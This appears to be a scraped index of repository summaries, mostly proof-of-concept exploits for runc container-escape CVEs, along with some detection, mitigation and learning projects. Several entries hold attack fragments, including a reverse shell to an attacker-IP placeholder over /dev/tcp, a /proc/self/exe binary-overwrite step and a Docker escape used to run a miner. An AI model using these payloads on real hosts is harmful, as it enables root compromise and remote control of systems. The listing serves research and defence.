cve-2019-5736-reproducer

CVE-2019-5736 reproducer This allows you to confirm RunC-CVE-2019-5736 works on your KVM instance. Workflow overview Build the docker.io related packages vulerable to CVE-2019-5736 in this repo Launch an Ubuntu 18.04 KVM instance on LXD Install the vulnerable .deb packages in the VM Try the...

cve-2019-5736-poc

CVE-2019-5736 Proof of Concept This appends a string to the host runc binary. Bring your own payload see stage2.c. To run: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...

container-escape-ebpf

White Paper https://www.scs-europe.net/dlib/2026/2026-0321.html Assumptions Host runs vulnerable version of runc: For CVE-2025-31133: 1.2.7 and below, 1.3.0-rc.1 through 1.3.2, 1.4.0-rc.1 and 1.4.0-rc.2. For CVE-2024-21626: 1.0.0-rc93 through 1.1.11. Unprivileged user is able to create containers...

cve-2019-5736-poc

CVE-2019-5736 Proof of Concept This appends a string to the host runc binary. Bring your own payload see stage2.c. To run: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...

cve_2019-5736-PoC

CVE-2019-5736 PoC This repository contains a C-based proof-of-concept exploit for CVE-2019-5736. This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system. Inspire...

CVE-2019-5736-PoC

Usage PoC was created to the scenario were victim is executing for example docker exec sh. Before running exploit it's required to overwrite sh binary in the container file system: printf '!/proc/self/exe' /bin/sh After that, when victim executes exec command, runc binary in the host file system...

cve-2019-5737

Linux: docker build -t cve:linux - Dockerfile docker run cve:linux strings /usr/bin/docker-runc | tail -n 2 Windows: Get-Content Dockerfile | docker build -t cve:windows docker run cve:windows findstr /usr/bin/docker-runc | tail -n 2...

Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Overview A proof-of-concept demonstration and learning environment for CVE-2025-31133 , a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive ho...

CVE-2024-21626-old-docker-versions

Container escape vulnerability in old runc components CVE-2024-21626 During my analysis about CVE-2024-21626 I found that other older docker components are vulnerable about fd leakage that is not mentioned in the security advisory GHSA-xr7r-f8xq-vfvv. Read my full article for detailed explanation...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In this project, we found a recent attack through the malicious container and implemented a security mechanism to stop it. Introduction Cyber-attacks have become a critical challenge for both companies and small businesses, largely due to vulnerabilitie...

cve-2024-21626

CVE-2024-21626 Overview This repository contains code examples for an app vulnerable to CVE-2024-21626 as well as an eBPF gadget to detect exploitation attempts. This repoistory was created as part of this blog post. The gadget program used to detect this vulnerability is for demonstration purpos...

Docker-Escape-Miner

Using a published Docker exploit to gain root access and run a bitcoin mining script This uses two open source libraries: nightminer by @ricmoo for python bitcoin mining RunC-CVE-2019-5736 by @twistlock for the docker escape System Requirements This was tested on Kali Linux, with Docker version...

CVE-2025-31133

CVE-2025-31133 PoC Exploit This document explains the functionality of the provided Proof-of-Concept PoC script for the runc vulnerability CVE-2025-31133. Summary Vulnerability: CVE-2025-31133 - A symbolic link race condition in runc's maskedPaths handling. Impact: A malicious container can bypas...

CVE-2024-21626-runcPOC

Vulnerability Reproduction CVE-2024-21626 docker runc Escape Vulnerability 1. Vulnerability Overview Vulnerability Name| docker runc Escape Vulnerability ---|--- CVE ID| CVE-2024-21626 Disclosure Date| 2024-01-31 Characteristic| / Affected Versions| runc @ v1.0.0-rc93, 1.1.11 2. Exploitation &...

Docker-breakout-runc

Docker breakout via runc Originally from : https://github.com/Frichetten/CVE-2019-5736-PoC. This repo is simply me messing around with the PoC and attempting to figure the exploit's flow...

CVE-2024-21626

CVE-2024-21626 POC Requirements runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tc...

CVE-2024-21626

Usage: 1.git clone https://github.com/cdxiaodong/CVE-2024-21626 2.docker-compose up Verification: If you can obtain the host's /etc/passwd, the vulnerability exists. Environment: runc: =v1.0.0-rc93,=1.1.11 Attack details & principle: In affected versions of runc, during initialization, some...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo for the LT at Container Runtime Meetup 5. This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited. Slides Container Runtime Meetup 5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626 Loggin...

proxmox-lxc-docker-fix

Proxmox LXC AppArmor Fix for Docker/Containers Workaround for CVE-2025-52881 : Fixes Docker, Podman, and container runtime breakage in Proxmox LXC containers caused by AppArmor incompatibility with runc 1.2.7+/1.3.2+ 🚨 The Problem Recent security updates to runc versions 1.2.7+ and 1.3.2+ and...